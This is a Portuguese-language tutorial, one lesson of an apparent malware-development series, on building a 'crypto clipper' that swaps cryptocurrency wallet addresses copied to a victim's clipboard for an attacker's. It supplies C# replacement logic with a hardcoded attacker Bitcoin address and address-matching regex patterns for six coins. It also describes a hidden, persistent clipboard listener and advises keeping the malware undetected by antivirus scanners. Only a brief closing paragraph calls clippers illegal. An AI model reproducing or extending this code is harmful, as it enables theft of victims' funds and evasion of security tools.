Lição 12: Crypto Clipper — Roubando criptomoedas como um profissional
Abaixo está a Lista de Tópicos para a Lição 12:
12. Crypto Clipper:
⇢ BTC
⇢ ETH
⇢ Ripple
⇢ Litecoin
⇢ BTC Cash
⇢ Monero
mais…
Nesta lição, demonstraremos como adicionar funcionalidade que pode roubar criptomoedas substituindo o endereço da carteira do usuário pelo endereço do invasor. Na lição 9 , aprendemos sobre como roubar criptomoedas de carteiras offline presentes na máquina de destino. Abordaremos as criptomoedas mais populares, como BTC, ETH, Ripple, Litecoin, BTC Cash e Monero nesta lição. Você aprenderá como desenvolver uma função em seu malware que pode substituir o endereço da carteira do destinatário na memória da área de transferência pelo seu. Essa técnica simples, mas eficaz, pode ajudá-lo a roubar criptomoedas sem detecção. Junte-se a nós para aprender como se tornar um profissional em roubar criptomoedas com o Crypto Clipper!
Abaixo está o entendimento básico do funcionamento. Ele verifica o endereço do usuário usando um padrão de expressão regular e, se o endereço corresponder, substitui o endereço do usuário pelo endereço do invasor.
// clipper
// attacker address
string attackerAddress = "1FfmbHfnpaZjKFvyi1okTjJJusN455paPH";
// user address
string userAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";
// regex pattern to match user's address
string regexPattern = @"^bc[13][a-zA-HJ-NP-Z0-9]{25,39}$";
// Check address matches regex pattern
if (Regex.IsMatch(userAddress, regexPattern))
{
// Replace user address with attacker address
userAddress = attackerAddress;
// Display message to confirm replacement
Console.WriteLine("User's address has been replaced with attacker's address.");
}
else
{
// Display message if user's address does not match regex pattern
Console.WriteLine("User's address is invalid and cannot be replaced.");
}
Abaixo estão os padrões regex para outros endereços criptográficos:
BTC
string regexPattern = @"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$";
ETH
string regexPattern = @"^0x[a-fA-F0-9]{40}$";
Ondulação
string regexPattern = @"^r[0-9a-zA-Z]{24,34}$";
Litecoin
string regexPattern = @"^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$";
BTC Dinheiro
string regexPattern = @"^([qpzry9x8gf2tvdw0s3jn54khce6mua7l]{42}|(bitcoincash:)?(q|p)[a-z0-9]{41})$";
Monero
string regexPattern = @"^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";
Por fim, compilei todos os tópicos da lição 12 e também adicionei um ouvinte persistente para que possa listar os valores da área de transferência para sempre em segundo plano e também o processo está oculto, posteriormente foi detectado por 0 de 26 verificações antivírus.
Lembre-se: não compartilhe seus assemblies não criptografados ou fonte de malware para scanners antivírus aleatórios, use apenas aqueles listados no artigo abaixo para manter seu malware não detectado para sempre:
Conclusão
“Clipper” é um tipo de programa malicioso usado por hackers para roubar criptomoedas das vítimas, substituindo seus endereços de carteira pelo endereço do invasor. Ele pode ser distribuído por e-mails de phishing, sites maliciosos ou até mesmo lojas de aplicativos legítimas. As vítimas podem sofrer perdas financeiras significativas, e o uso de malware clipper é ilegal e antiético. Boas práticas de segurança cibernética podem ajudar a proteger contra malware clipper e outros tipos de ataques cibernéticos.





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)